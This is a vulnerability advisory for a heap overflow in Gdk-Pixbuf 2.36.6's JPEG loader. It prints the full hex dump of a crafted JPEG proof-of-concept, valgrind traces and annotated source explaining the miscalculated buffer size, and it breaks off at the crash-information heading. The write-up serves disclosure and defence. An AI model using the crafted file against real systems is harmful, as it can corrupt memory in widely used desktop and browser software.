description### Summary An exploitable heap overflow vulnerability exists in the gdk_pixbuf__jpeg_image_load_increment functionality of Gdk-Pixbuf 2.36.6. A specially crafted jpeg file can cause a heap overflow resulting in remote code execution. An attacker can send a file or url to trigger this vulnerability. ### Tested Versions Gdk-Pixbuf 2.36.6 commit: aba8d88798dfc2f3856ea0ddda14b06174bbb2bc libjpeg-turbo 1.5.2 ### Product URLs https://developer.gnome.org/gdk-pixbuf/ ### CVSSv3 Score 8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ### CWE CWE-131: Incorrect Calculation of Buffer Size ### Details ``` Gdk-Pixbuf is a toolkit for image loading and pixel buffer manipulation used in various type of desktop applications: image viewers(GNOME thumbnailer), web browser (Chromium, Firefox),media players (VLC), (...). ``` A vulnerability exists in the JPEG parser: it's based on wrong calculation size for an output buffer in the `gdk_pixbuf__jpeg_image_load_increment` function which later causes a heap overflow during file content conversion inside libjpeg `null_convert` function. Because the file necessary to trigger this vulnerability is quite small we can present its entire content here: ``` Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 FF D8 FF DB 00 43 01 28 2D 8C A5 F8 F8 F8 F8 F8 ˇÿˇ€.C.(-啯¯¯¯¯ 00000010 F8 F8 F8 F8 F8 F8 F8 F8 F8 F8 F8 F8 F8 F8 F8 F8 ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ 00000020 F8 F8 64 F8 F8 F8 F8 F8 F8 11 11 11 11 11 11 11 ¯¯d¯¯¯¯¯¯....... 00000030 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 ................ 00000040 11 11 11 11 11 11 11 FF CA 00 23 08 00 01 00 2F .......ˇ .#..../ 00000050 09 01 11 01 02 11 01 03 11 01 FF 32 11 11 11 11 ..........ˇ2.... 00000060 11 11 11 11 11 11 11 11 11 11 11 11 12 22 41 FF ............."Aˇ 00000070 DA 00 0C 03 01 10 02 11 03 00 00 00 03 01 00 02 ⁄............... 00000080 11 FF 80 00 .ˇÄ. ``` We can notice that there are a couple JPEG markers but we will focus on the one directly related with vulnerability. That marker is 0xFFCA which starts at offset : 0x47 and has a size of 0x23 bytes. Below are important values read from this section (marker): ``` cinfo { ... data_precision = 0x8, image_width = 0x2f, image_height = 0x1, num_components = 0x9, ... output_width = 0x2f, output_height = 0x1, out_color_components = 0x9, output_components = 0x9, } ------------- line 255 jdmarker.c ------------------- INPUT_BYTE(cinfo, cinfo->data_precision, return FALSE); INPUT_2BYTES(cinfo, cinfo->image_height, return FALSE); INPUT_2BYTES(cinfo, cinfo->image_width, return FALSE); INPUT_BYTE(cinfo, cinfo->num_components, return FALSE); --------------------------------------------------------- ``` To observe how the vulnerability manifests itself, we will use the `pixuf-read` test application and our malicious JPEG as input file. Executed under `valgrind` control we see the following output: ``` ==5058== Invalid write of size 1 ==5058== at 0x75278C7: null_convert (jdcolor.c:408) ==5058== by 0x753F506: sep_upsample (jdsample.c:98) ==5058== by 0x7530660: process_data_simple_main (jdmainct.c:311) ==5058== by 0x75234A5: jpeg_read_scanlines (jdapistd.c:282) ==5058== by 0x72F64AA: gdk_pixbuf__jpeg_image_load_lines (io-jpeg.c:901) ==5058== by 0x72F6FB2: gdk_pixbuf__jpeg_image_load_increment (io-jpeg.c:1201) ==5058== by 0x4E4B44C: gdk_pixbuf_loader_load_module (gdk-pixbuf-loader.c:443) ==5058== by 0x4E4BE23: gdk_pixbuf_loader_close (gdk-pixbuf-loader.c:811) ==5058== by 0x400AA0: test_loader (pixbuf-read.c:35) ==5058== by 0x400BD4: main (pixbuf-read.c:75) ==5058== Address 0x6f3cbd0 is 0 bytes after a block of size 144 alloc'd ==5058== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==5058== by 0x4E4104A: gdk_pixbuf_new (gdk-pixbuf.c:464) ==5058== by 0x72F6B93: gdk_pixbuf__jpeg_image_load_increment (io-jpeg.c:1093) ==5058== by 0x4E4B44C: gdk_pixbuf_loader_load_module (gdk-pixbuf-loader.c:443) ==5058== by 0x4E4BE23: gdk_pixbuf_loader_close (gdk-pixbuf-loader.c:811) ==5058== by 0x400AA0: test_loader (pixbuf-read.c:35) ==5058== by 0x400BD4: main (pixbuf-read.c:75) ==5058== ``` So, generally there is a buffer allocated inside `gdk_pixbuf__jpeg_image_load_increment` and later overflowed in `null_convert`. Let's take a closer look at where this allocation takes place: ``` Line 1093 context->pixbuf = gdk_pixbuf_new (GDK_COLORSPACE_RGB, Line 1094 cinfo->output_components == 4 ? TRUE : FALSE, Line 1095 8, Line 1096 cinfo->output_width, Line 1097 cinfo->output_height); ``` The important variable here is `cinfo->output_components`. Its value is equal to `0x9` so as a result of the comparison, second argument passed to `gdk_pixbuf_new` will be a `False` boolean flag. Going inside this function we see: ``` Line 440 gdk_pixbuf_new (GdkColorspace colorspace, Line 441 gboolean has_alpha, Line 442 int bits_per_sample, Line 443 int width, Line 444 int height) Line 445 { Line 446 guchar *buf; Line 447 unsigned int channels; Line 448 unsigned int rowstride; (...) Line 455 channels = has_alpha ? 4 : 3; Line 456 Line 457 /* Overflow? */ Line 458 if (width > (G_MAXUINT - 3) / channels) Line 459 return NULL; Line 460 Line 461 /* Always align rows to 32-bit boundaries */ Line 462 rowstride = (width * channels + 3) & ~3; Line 463 Line 464 buf = g_try_malloc_n (height, rowstride); ``` We see that the `channels` variable which is used in the calculation of the `rowstride` value at `line 462`. The size of the allocated buffer in our case equals 0x90. Now going straight to the function where the heap overflow appears we see these lines: ``` jdcolor.c libjpeg-turbo -------------------------------- Line 363 METHODDEF(void) Line 364 null_convert (j_decompress_ptr cinfo, Line 365 JSAMPIMAGE input_buf, JDIMENSION input_row, Line 366 JSAMPARRAY output_buf, int num_rows) (...) Line 370 register int num_components = cinfo->num_components; (...) Line 374 if (num_components == 3) { (...) Line 387 } else if (num_components == 4) { (...) Line 402 } else { Line 403 while (--num_rows >= 0) { Line 404 for (ci = 0; ci < num_components; ci++) { Line 405 inptr = input_buf[ci][input_row]; Line 406 outptr = *output_buf; Line 407 for (col = 0; col < num_cols; col++) { Line 408 outptr[ci] = inptr[col]; Line 409 outptr += num_components; Line 410 } Line 411 } Line 412 output_buf++; Line 413 input_row++; Line 414 } ``` Based on the `num_components` value, a different loop is used to copy data from the input buffer to the output one. We land of course in if branch starting at Line 403 because our `num_components` equals 0x9. Then we see the following: Line 403: the `while` loop condition is based on `num_rows` which equals 0x1 Line 404: the `for` is controlled by `num_components` which equals 0x9 and finally Line 407: tihs for loop is controlled by `num_cols` which equals 0x2f. It is clear now why the overflow occurs. The Gdk-pixbuf developers assume only two scenarios of `number of components`: 3 or 4 and based on those two potential values, allocated the buffer. Here we land in scenario where `num_components` equals 0x9 that will cause an out of buffer write at `line 408` in will result in heap corruption. ### Crash Information ``` Program received signal SIGSEGV, Segmentation fault.
